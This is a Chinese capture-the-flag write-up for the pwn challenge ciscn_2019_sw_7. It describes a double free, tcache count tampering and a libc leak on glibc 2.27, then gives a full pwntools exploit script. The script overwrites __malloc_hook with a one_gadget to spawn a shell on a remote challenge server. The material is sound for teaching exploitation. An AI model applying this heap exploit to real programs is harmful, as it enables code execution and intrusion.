0%

ciscn_2019_sw_7

首先检查一下程序的保护机制

然后,我们用IDA分析一下,最多创建10个堆,并且size不能超过0x60

Delete功能没有清空指针,因此可以double free。

由于size受限制,因此我们需要伪造一个unsorted bin范围的chunk,glibc版本2.27,存在tcache,因此,我们还要先攻击tcache bin表头,篡改对应的count为-1,这样chunk就可以放入unsorted bin了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#coding:utf8
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget_s = 0x10a38c

def add(size,content):
sh.sendlineafter('>','1')
sh.sendlineafter('The size of note:',str(size))
sh.sendlineafter('The content of note:',content)

def show(index):
sh.sendlineafter('>','2')
sh.sendlineafter('Index:',str(index))

def delete(index):
sh.sendlineafter('>','4')
sh.sendlineafter('Index:',str(index))

def exploit():
#0
add(0,'a')
#1
add(0x50,'b')
#2
add(0,'c')
#3
add(0x50,'d')
#4
add(0x50,'e')
#3、4形成链表
delete(4)
delete(3)
#通过溢出低位覆盖3的next指针低1字节为0x1B,低二字节为00,便有1/16和几率分配到tcache bin的表头0xE0的count处
delete(2)
add(0,'c'*0x8 + p64(0) + p64(0x61) + p8(0x1B - 8)) #2
add(0x50,'d') #3
#申请到表头,修改0xE0的tcache count为-1
add(0x50,'\x00' + p8(0xFF)) #4
#通过0溢出,修改chunk1的size,将1、2、3的size合并
payload = 'a'*0x8 + p64(0) + p64(0x60 + 0x20 + 0x61)
delete(0)
add(0,payload) #0
#得到0xE0的unsorted bin
delete(1)
#将unsorted bin指针传递到chunk2里
add(0x20,'b') #1
add(0x20,'b') #5
show(2)
sh.recvuntil('2 : ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
if libc_base >> 40 != 0x7F:
raise Exception('error leak!')
one_gadget_addr = libc_base + one_gadget_s
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#3放入tcache bin
delete(3)
#将malloc_hook链接到tcache bin
add(0x60,'c'*0x18 + p64(malloc_hook_addr-0x8)) #3
#6
add(0x50,'c')
#7写malloc_hook
add(0x50,p64(one_gadget_addr))
#getshell
sh.sendlineafter('>','1')
sh.sendlineafter('The size of note:','1')

while True:
try:
global sh
#sh = process('./ciscn_2019_sw_7')
sh = remote('node3.buuoj.cn',25167)
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'